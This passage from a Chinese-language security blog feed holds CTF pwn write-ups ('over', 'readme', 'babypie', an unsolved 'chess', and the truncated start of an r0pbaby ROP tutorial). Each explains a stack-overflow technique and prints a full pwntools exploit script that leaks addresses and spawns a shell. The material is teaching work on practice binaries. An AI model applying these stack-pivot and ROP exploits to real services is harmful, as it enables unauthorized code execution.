class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>一开始不知道如何确定ELF的基地址。。求助了<code>@Tangent</code>得到exp，然后分析之后才知道是可以通过<code>rbp</code>相对位移来确定。之后在复现的过程中也遇到过一些坑：</p><ol><li>用<code>leave ret</code>来移动栈帧的时候要注意移动之后要在目标地址多填充8字节，这是因为<code>leave</code>要<code>pop rbp</code>的原因；</li><li>这里用的libc是libc-2.27，我最先使用的libc-2.23，也是没有注意题目的提醒<code>Ubuntu 18.04</code>；</li><li>还有就是我为了偷懒<code>read</code>读入数据的地址一开始是<code>file_name</code>的地方，结果发现老是读出来的是乱码，调试之后发现明明能成功读取到字符串，然后调<code>puts</code>输出的时候莫名其妙的就不行？？？随后把读入的数据放在其他地方就好了。。。如果有大佬知道是怎么回事的，求告知；</li></ol><img src="/2019/11/11/cnss-recruit-pwn-1/4.png"><p>最后拿到flag，<code>cnss{r00oopp_1s_e45y_I_10v3_r0o00op}</code>。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;CNSS招新题目中有两道不错的Pwn题，拿来学习一波知识。然而其中有一道是内核ROP，复现了好几天。。还是有点问题，再加上研究生大作业集群来了（完全不能摸鱼，哭唧唧），所以那道内核题能做出来就放博客。&lt;/p&gt;
&lt;h2 id=&quot;Sleepy-Server&quot;&gt;&lt;a href=&quot;
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ROP" scheme="https://hurricane618.me/tags/ROP/"/>
    
      <category term="stackoverflow" scheme="https://hurricane618.me/tags/stackoverflow/"/>
    
  </entry>
  
  <entry>
    <title>花式栈溢出学习</title>
    <link href="https://hurricane618.me/2019/09/14/fancy-rop-practice/"/>
    <id>https://hurricane618.me/2019/09/14/fancy-rop-practice/</id>
    <published>2019-09-14T09:50:16.000Z</published>
    <updated>2019-09-14T16:23:11.891Z</updated>
    
    <content type="html"><![CDATA[<p>继续进行着栈溢出的练习，这次是参考了ctf-wiki上面的演示题目，在复现过程中的一些记录。</p><h2 id="over"><a href="#over" class="headerlink" title="over"></a>over</h2><p>安恒月赛的题目，首先看程序保护，开启了NX，不能写shellcode，同时分析了程序结果发现buffer有0x50，但是输入有0x60也就是说只能覆盖rbp和ret地址，所以必须要改变栈的位置。</p><p>首先是一个trick，里面读入的函数是<code>read</code>，所以读入的数据是不会自动加上<code>\0</code>的，其他的两个函数<code>gets</code>和<code>scanf</code>都会对读入的字符串加上<code>\0</code>截断。利用这个差异性，我们只要填入0x50个非0数据，这样<code>puts</code>就会打印出rbp的值。泄露出栈基址之后，我们就能利用相对偏移来确定题目随意的栈地址。</p><p>这样我们输入80个a，在puts的地方下断点，看看gdb里面的信息。</p><img src="/2019/09/14/fancy-rop-practice/1.png"><p>在输出我们数据的时候rbp的值为<code>0x7fffffffdc20</code>，然后观察我们的栈顶处的地址为<code>0x7fffffffdbb0</code>。我们这里利用的思路是伪造栈帧，在这里我们泄露出来rbp的值通过位移差我们就能得到栈的起始地址。之后伪造的格式如下：</p><p>| 8字节fake rbp | 需要调用的地址 |…| stack addr | leave ret addr |</p><p>这种技术是通过两次调用<code>leave</code>来劫持<code>rsp</code>的值，使得它最终指向我们要调用的地址处执行<code>ret</code>，通过控制<code>rsp</code>的值来控制<code>rip</code>。</p><p>因为函数在正常调用结束的时候会<code>leave; ret;</code>，这样我们设置的<code>stack addr</code>覆盖了原始的<code>rbp</code>，那么<code>leave</code>中会<code>mov rsp, rbp； pop rbp</code>。<code>rsp</code>会成为指向<code>stack addr</code>的指针，然后<code>pop rbp</code>将我们伪造的值给<code>rbp</code>。但是在之后再次执行一次<code>leave; ret</code>，我们现在的<code>rsp</code>就会指向我们构造的地址处，将<code>fake rbp</code>填入<code>rbp</code>中，这之后的<code>ret</code>就会将填充的调用地址作为返回地址来处理，这样就成功劫持了控制流.</p><p>所以上面那张图我们得到泄露出来的<code>rbp</code>的值减去0x70就是我们输入缓冲区的栈顶地址。我们拿到地址之后伪造栈帧泄露libc的地址，然后再次伪造栈帧getshell。其中第二次构造的时候，栈的位置会有一定偏移，需要调试获取</p><img src="/2019/09/14/fancy-rop-practice/2.png"><p>从上图可以知道在第二次伪造栈帧输入的时候栈顶地址为<code>0x7fffffffdb80</code>，而我们一开始获取的栈地址为<code>0x7fffffffdbb0</code>，相差0x30，在构造的时候需要修正一下。最后给出exp：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># This exploit template was generated via:</span></span><br><span class="line"><span class="comment"># $ pwn template over.over</span></span><br><span class="line"><span class="comment"># Author: hurricane618</span></span><br><span class="line"><span class="comment"># E-mail: hurricane618@hotmail.com</span></span><br><span class="line"><span class="comment"># Website: hurricane618.me</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># Set up pwntools for the correct architecture</span></span><br><span class="line">exe = ELF(<span class="string">'./'</span> + <span class="string">'over.over'</span>)</span><br><span class="line">context.binary = <span class="string">'./'</span> + <span class="string">'over.over'</span></span><br><span class="line">libc = exe.libc</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment">#                    EXPLOIT GOES HERE</span></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment"># Arch:     amd64-64-little</span></span><br><span class="line"><span class="comment"># RELRO:    Partial RELRO</span></span><br><span class="line"><span class="comment"># Stack:    No canary found</span></span><br><span class="line"><span class="comment"># NX:       NX enabled</span></span><br><span class="line"><span class="comment"># PIE:      No PIE (0x400000)</span></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'DEBUG'</span>]:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'REMOTE'</span>]:</span><br><span class="line">    io = remote()</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    io = process(exe.path)</span><br><span class="line"></span><br><span class="line">leave_ret_addr = <span class="number">0x4006be</span></span><br><span class="line">rdi_ret_addr = <span class="number">0x400793</span></span><br><span class="line">rsi_r15_ret_addr = <span class="number">0x400791</span></span><br><span class="line">rdx_ret_offset = <span class="number">0x1b92</span></span><br><span class="line">vul_addr = <span class="number">0x400676</span></span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">'a'</span> * <span class="number">0x50</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line"><span class="comment">#gdb.attach(io, 'b *0x4006b9\n')</span></span><br><span class="line">pause()</span><br><span class="line">io.send(payload1) <span class="comment"># note the '\n'</span></span><br><span class="line">pause()</span><br><span class="line">stack_addr = u64(io.recvuntil(<span class="string">'\x7f'</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>, <span class="string">'\0'</span>)) - <span class="number">0x70</span> <span class="comment"># debug and get it</span></span><br><span class="line">success(<span class="string">'stack: &#123;:#x&#125;'</span>.format(stack_addr))</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'b'</span> * <span class="number">8</span></span><br><span class="line">payload2 += p64(rdi_ret_addr)</span><br><span class="line">payload2 += p64(exe.got[<span class="string">'puts'</span>])</span><br><span class="line">payload2 += p64(exe.plt[<span class="string">'puts'</span>])</span><br><span class="line">payload2 += p64(vul_addr)</span><br><span class="line">payload2 += <span class="string">'c'</span> * (<span class="number">80</span> - len(payload2))</span><br><span class="line">payload2 += p64(stack_addr)</span><br><span class="line">payload2 += p64(leave_ret_addr)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">io.send(payload2)</span><br><span class="line"></span><br><span class="line">libc.address = u64(io.recvuntil(<span class="string">'\x7f'</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>, <span class="string">'\0'</span>)) - libc.symbols[<span class="string">'puts'</span>]</span><br><span class="line">success(<span class="string">'libc address: &#123;:#x&#125;'</span>.format(libc.address))</span><br><span class="line">rdx_ret_addr = libc.address + rdx_ret_offset</span><br><span class="line"><span class="comment">#payload3 = 'c' * 80 debug and get the stack offset 0x30</span></span><br><span class="line">payload3 = <span class="string">'c'</span> * <span class="number">8</span></span><br><span class="line">payload3 += p64(rdi_ret_addr)</span><br><span class="line">payload3 += p64( next(libc.search(<span class="string">"/bin/sh"</span>)))</span><br><span class="line">payload3 += p64(rsi_r15_ret_addr)</span><br><span class="line">payload3 += p64(<span class="number">0</span>)</span><br><span class="line">payload3 += p64(<span class="number">0</span>)</span><br><span class="line">payload3 += p64(rdx_ret_addr)</span><br><span class="line">payload3 += p64(<span class="number">0</span>)</span><br><span class="line">payload3 += p64(libc.symbols[<span class="string">'execve'</span>])</span><br><span class="line">payload3 += <span class="string">'d'</span> * (<span class="number">80</span> - len(payload3))</span><br><span class="line">payload3 += p64(stack_addr - <span class="number">0x30</span>)</span><br><span class="line">payload3 += p64(leave_ret_addr)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">'&gt;'</span>)</span><br><span class="line">pause()</span><br><span class="line">io.send(payload3)</span><br><span class="line">pause()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>里面比较坑的地方有两个，一个是我们的输入不能带<code>\n</code>回车，因为这个回车会覆盖掉<code>rbp</code>最后的值。。这样我们就无法得到正确的值。另外一个是pwntools里面的libc设置，如果设置了libc的address，那么我们在使用libc进行搜索的时候就不用额外再加libc的基地址，因为里面已经自动帮你加上了。但是没有使用libc符号或者搜索的地址还是需要手动增加libc的基地址值。</p><h2 id="readme"><a href="#readme" class="headerlink" title="readme"></a>readme</h2><p>一道神奇的题目，里面有一个循环会覆盖flag的内容。同时文件开启了canary和堆栈执行保护。这里有一个有趣的利用思路，那就是stack smash，恰恰利用canary的check机制，它在check失败之后会打印出<code>argv[0]</code>的字符串，如果能覆盖成其他地址，这里就能够利用来泄露内存数据。而这道题目的flag已经在一开始就存进了内存中，同时由于<code>.bss</code>节的特性，ELF文件在执行的时候，它会被映射两次，所以我们只需要寻找另外一处没有被覆盖掉的内容地址填入<code>argv[0]</code>的地址处，就能够get flag。</p><img src="/2019/09/14/fancy-rop-practice/3.png"><p>刚好这里有一个溢出漏洞可以利用，那么先来看看<code>argv[0]</code>的地址。</p><img src="/2019/09/14/fancy-rop-practice/4.png"><p>在这里能够很明显的看到程序名，而这里一定就是<code>argv[0]</code>的地址，0x7fffffffdc78(大雾？)。这里的地址指向另外一个地址，而那个地址才是存储着字符串的指针的值，所以一开始我还出错了，最后需要覆盖的地址为0x7fffffffdd48。接下来只需要确定出我们的输入的地址，就能控制溢出的字节数。</p><img src="/2019/09/14/fancy-rop-practice/5.png"><p>看到我们的<code>rsi</code>和<code>rsp</code>的值都是0x7fffffffdb30，说明接下来gets的输入会写入这里。接下来就是需要读出来的flag地址了。</p><img src="/2019/09/14/fancy-rop-practice/6.png"><p>我在覆盖的flag中填入的aa，通过搜索这个字符串找到相应的地址，这是第一个映射地址，通过IDA我们能知道flag的样子为<code>32C3...</code>，所有搜索这个就能得到第二个flag的地址。</p><img src="/2019/09/14/fancy-rop-practice/7.png"><p>这里看到另外一个完整的flag地址为0x400d20，通过一个栈溢出来覆盖<code>argv[0]</code>的地址为flag的地址，这样溢出之后的check失败就能把flag打印出来。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># This exploit template was generated via:</span></span><br><span class="line"><span class="comment"># $ pwn template readme.bin</span></span><br><span class="line"><span class="comment"># Author: hurricane618</span></span><br><span class="line"><span class="comment"># E-mail: hurricane618@hotmail.com</span></span><br><span class="line"><span class="comment"># Website: hurricane618.me</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># Set up pwntools for the correct architecture</span></span><br><span class="line">exe = ELF(<span class="string">'./'</span> + <span class="string">'readme.bin'</span>)</span><br><span class="line">context.binary = <span class="string">'./'</span> + <span class="string">'readme.bin'</span></span><br><span class="line">libc = exe.libc</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment">#                    EXPLOIT GOES HERE</span></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment"># Arch:     amd64-64-little</span></span><br><span class="line"><span class="comment"># RELRO:    No RELRO</span></span><br><span class="line"><span class="comment"># Stack:    Canary found</span></span><br><span class="line"><span class="comment"># NX:       NX enabled</span></span><br><span class="line"><span class="comment"># PIE:      No PIE (0x400000)</span></span><br><span class="line"><span class="comment"># FORTIFY:  Enabled</span></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'DEBUG'</span>]:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'REMOTE'</span>]:</span><br><span class="line">    io = remote()</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    io = process(exe.path)</span><br><span class="line"></span><br><span class="line">argv_addr = <span class="number">0x7fffffffdd48</span></span><br><span class="line">stack_addr = <span class="number">0x7fffffffdb30</span></span><br><span class="line">flag_addr = <span class="number">0x400d20</span></span><br><span class="line">payload = <span class="string">'a'</span> * (argv_addr - stack_addr)</span><br><span class="line">payload += p64(flag_addr)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">'name? '</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">'flag: '</span>)</span><br><span class="line">io.sendline(<span class="string">'bb'</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><img src="/2019/09/14/fancy-rop-practice/8.png"><p>最后从stack smash的check中get flag信息，如果是在服务器上就能拿到真正的flag。这道题也解决了我的一个疑惑，虽然地址不一样，但是偏移是一样的，所以我们找到地址之后计算需要覆盖的长度也是一样的，同时<code>.bss</code>节的映射又是不变的，这样就能稳定的覆盖成另外一个flag的地址。</p><h2 id="babypie"><a href="#babypie" class="headerlink" title="babypie"></a>babypie</h2><p>一道安恒的月赛题目，题目中有两次输入，第一次能输入0x30，能够刚好溢出8个字节，然后第二次能输入0x60，都写在同一段缓冲区中。程序开启了canary，PIE，NX等等保护，所以第一步需要先泄露出canary的值。</p><p>这里利用了之前的trick，由于读入数据是使用的read并不会有<code>\0</code>在末尾，由于canary的最低位为0，这样我们多覆盖一个字节的数据，让printf直接把canary的值打印出来。</p><p>获取到canary之后，再次观察程序，发现有留有getshell的函数，那题目就简单很多了。这里如果能修改返回地址为函数地址就能getshell。但是程序开了PIE怎么办？？？</p><p>不用怕，PIE的随机化不会影响低12bit的地址，这里只需要暴力测试地址就很有可能得到正确的地址。只是在程序中有4bit在变化，getshell的地址为<code>a3e</code>，由于还有1bit是不能确定的，所以我们直接覆盖成<code>0a3e</code>来碰运气即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python2</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># This exploit template was generated via:</span></span><br><span class="line"><span class="comment"># $ pwn template babypie</span></span><br><span class="line"><span class="comment"># Author: hurricane618</span></span><br><span class="line"><span class="comment"># E-mail: hurricane618@hotmail.com</span></span><br><span class="line"><span class="comment"># Website: hurricane618.me</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># Set up pwntools for the correct architecture</span></span><br><span class="line">exe = ELF(<span class="string">'./'</span> + <span class="string">'babypie'</span>)</span><br><span class="line">context.binary = <span class="string">'./'</span> + <span class="string">'babypie'</span></span><br><span class="line">libc = exe.libc</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment">#                    EXPLOIT GOES HERE</span></span><br><span class="line"><span class="comment">#===========================================================</span></span><br><span class="line"><span class="comment"># Arch:     amd64-64-little</span></span><br><span class="line"><span class="comment"># RELRO:    Partial RELRO</span></span><br><span class="line"><span class="comment"># Stack:    Canary found</span></span><br><span class="line"><span class="comment"># NX:       NX enabled</span></span><br><span class="line"><span class="comment"># PIE:      PIE enabled</span></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">'DEBUG'</span>]:</span><br><span class="line">    context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#if args['REMOTE']:</span></span><br><span class="line"><span class="comment">#    io = remote()</span></span><br><span class="line"><span class="comment">#else:</span></span><br><span class="line"><span class="comment">#    io = process(exe.path)</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="keyword">while</span> <span class="keyword">True</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        io = process(exe.path)</span><br><span class="line">        io.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line">        payload1 = <span class="string">'a'</span> * (<span class="number">0x28</span> + <span class="number">1</span>)</span><br><span class="line">        io.send(payload1)</span><br><span class="line"></span><br><span class="line">        io.recvuntil(<span class="string">'a'</span> * <span class="number">0x29</span>)</span><br><span class="line">        <span class="comment">#canary = u64(io.recv(7).rjust(8, '\0'))</span></span><br><span class="line">        canary = u64(<span class="string">'\0'</span> + io.recv(<span class="number">7</span>))</span><br><span class="line">        success(<span class="string">'canary: '</span> + hex(canary))</span><br><span class="line"></span><br><span class="line">        io.recvuntil(<span class="string">'\n'</span>)</span><br><span class="line">        payload2 = <span class="string">'a'</span> * <span class="number">0x28</span></span><br><span class="line">        payload2 += p64(canary)</span><br><span class="line">        payload2 += <span class="string">'b'</span> * <span class="number">8</span></span><br><span class="line">        payload2 += <span class="string">'\x3e\x0a'</span></span><br><span class="line">        io.send(payload2)</span><br><span class="line"></span><br><span class="line">        io.interactive()</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        io.close()</span><br><span class="line">        <span class="keyword">print</span> e</span><br></pre></td></tr></table></figure><p>这里要注意ljust和rjust是左对齐和右对齐，一开始没有弄清楚。。。左对齐是在末尾填充，右对齐是在头部填充。</p><h2 id="chess-未解出"><a href="#chess-未解出" class="headerlink" title="chess(未解出)"></a>chess(未解出)</h2><p>先检查安全选项，开启了NX和PIE，不能写shellcode了。发现是一个下棋的游戏，然后里面通过输入字母数字来移动，每次移动都会打印一次。</p><p>然而搜到的韩文解法肯本看不懂。。。这里就记录一下了，期望以后可以做出来</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://23r3f.github.io/2018/12/03/2018-12-3-pwndbg%E7%94%A8%E6%B3%95/" target="_blank" rel="noopener">https://23r3f.github.io/2018/12/03/2018-12-3-pwndbg%E7%94%A8%E6%B3%95/</a></p><p><a href="http://blog.naver.com/PostView.nhn?blogId=mathboy7&amp;logNo=220335795719&amp;categoryNo=0&amp;parentCategoryNo=0&amp;viewDate=&amp;currentPage=1&amp;postListTopCurrentPage=1" target="_blank" rel="noopener">http://blog.naver.com/PostView.nhn?blogId=mathboy7&amp;logNo=220335795719&amp;categoryNo=0&amp;parentCategoryNo=0&amp;viewDate=&amp;currentPage=1&amp;postListTopCurrentPage=1</a></p><p><a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/" target="_blank" rel="noopener">https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop-zh/</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;继续进行着栈溢出的练习，这次是参考了ctf-wiki上面的演示题目，在复现过程中的一些记录。&lt;/p&gt;
&lt;h2 id=&quot;over&quot;&gt;&lt;a href=&quot;#over&quot; class=&quot;headerlink&quot; title=&quot;over&quot;&gt;&lt;/a&gt;over&lt;/h2&gt;&lt;p&gt;安恒月赛的题目，
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ROP" scheme="https://hurricane618.me/tags/ROP/"/>
    
      <category term="stackoverflow" scheme="https://hurricane618.me/tags/stackoverflow/"/>
    
  </entry>
  
  <entry>
    <title>基础ROP学习</title>
    <link href="https://hurricane618.me/2019/07/26/basic-rop-practice/"/>
    <id>https://hurricane618.me/2019/07/26/basic-rop-practice/</id>
    <published>2019-07-26T07:11:33.000Z</published>
    <updated>2019-07-26T07:48:58.961Z</updated>
    
    <content type="html"><![CDATA[<p>最近开始入门pwn，在白泽新手oj那里学了一波之后开始自己学剩下的内容。看到atum大佬推荐的三道基础ROP题目，就练习一下，学习思路总结经验。在网上找题的过程中发现vss基本上绝迹了。。。辛苦一番之后终于找到，为了后面的人也能快速找到题目我就把三道题一起上传了。</p><p><a href="http://hurricane618.me/resource/basic-rop/vss">http://hurricane618.me/resource/basic-rop/vss</a></p><p><a href="http://hurricane618.me/resource/basic-rop/ropasaurusrex">http://hurricane618.me/resource/basic-rop/ropasaurusrex</a></p><p><a href="http://hurricane618.me/resource/basic-rop/r0pbaby">http://hurricane618.me/resource/basic-rop/r0pbaby</a></p><h2 id="r0pbaby"><a href="#r0pbaby" class="headerlink" title="r0pbaby"></a>r0pbaby</h2><p>一道强化版的入门栈溢出，其中比较有意思的一点是栈溢出需要至少0x440才行，然而这个值为1088，但是题目里面限制了长度最大为1024，所以我们可以知道这里不能用填充数据的方法来实现控制流的劫持。（大雾？）</p><img src="/2019/07/26/basic-rop-practice/1.jpg"><p>看了一眼wp才发现……我就是一个sb</p><img src="/2019/07/26/basic-rop-practice/2.jpg"><p>在上图我们可以看到如果超过限制的1024就会输出非法提示，在另外一边它会逐字节的读入字符并把它们顺序的保存进<code>nptr</code>这个变量中，在最后使用<code>memcpy</code>函数把保存的字符串复制到<code>savedregs</code>这个标记中，我们双击这个标记就可以跳转到栈位置中。</p><img src="/2019/07/26/basic-rop-practice/3.jpg"><p>而这个位置刚好就是<code>old rbp</code>的值，所以我们只需要覆盖掉8个字节就能溢出。溢出之后接上gadget和参数以及system的地址就能完成操作。</p><p>这里需要注意的一点是，由于程序开启了地址随机化，所以不能找程序中的gadget，只能找libc中的gadget，因为libc的基地址是可以算出来的，所以最终也是能算出libc中的gadget。</p><p>就这样再libc中找到gadget和binsh字符串，混合着写出payload，这里还需要注意的一点是libc的地址不等于libc的基地址，基地址是用来推算libc函数用的起始地址，libc的地址应该是libc的加载地址，中间应该还有一些其他的数据。</p><p>最后还有一点，就是这种有一直循环的程序运行时，我们getshell之后，相当于是开了一个子进程，需要将原来的进程退掉，才能进入shell。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">"debug"</span></span><br><span class="line"></span><br><span class="line">sh = process(<span class="string">"./r0pbaby"</span>)</span><br><span class="line">libc = ELF(<span class="string">"/lib/x86_64-linux-gnu/libc.so.6"</span>)</span><br><span class="line">rdi_ret_offset = <span class="number">0x21102</span></span><br><span class="line">binsh_offset = libc.search(<span class="string">"/bin/sh"</span>).next()</span><br><span class="line"></span><br><span class="line"><span class="comment">#sh.recvuntil(": ")</span></span><br><span class="line"><span class="comment">#sh.sendline("1")</span></span><br><span class="line"><span class="comment">#sh.recvuntil(": ")</span></span><br><span class="line"><span class="comment">#libc_addr = int(sh.recvuntil("\n").strip(), 16)</span></span><br><span class="line"></span><br><span class="line">sh.recvuntil(<span class="string">": "</span>)</span><br><span class="line">sh.sendline(<span class="string">"2"</span>)</span><br><span class="line">sh.recvuntil(<span class="string">": "</span>)</span><br><span class="line">sh.sendline(<span class="string">"system"</span>)</span><br><span class="line">sh.recvuntil(<span class="string">": "</span>)</span><br><span class="line">system_addr = int(sh.recvuntil(<span class="string">"\n"</span>).strip(), <span class="number">16</span>)</span><br><span class="line">libc_addr = system_addr - libc.symbols[<span class="string">'system'</span>]</span><br><span class="line">rdi_ret = libc_addr + rdi_ret_offset</span><br><span class="line">binsh = libc_addr + binsh_offset</span><br><span class="line"></span><br><span class="line">sh.recvuntil(<span class="string">": "</span>)</span><br><span class="line">sh.sendline(<span class="string">"3"</span>)</span><br><span class="line">sh.recvuntil(<span class="string">": "</span>)</span><br><span class="line">sh.sendline(<span class="string">"33"</span>)</span><br><span class="line">payload = <span class="number">0x8</span>*<span class="string">'a'</span></span><br><span class="line">payload += p64(rdi_ret)</span><br><span class="line">payload += p64(binsh)</span><br><span class="line">payload += p64(system_addr)</span><br><span class="line"><span class="comment">#print sh.pid</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span 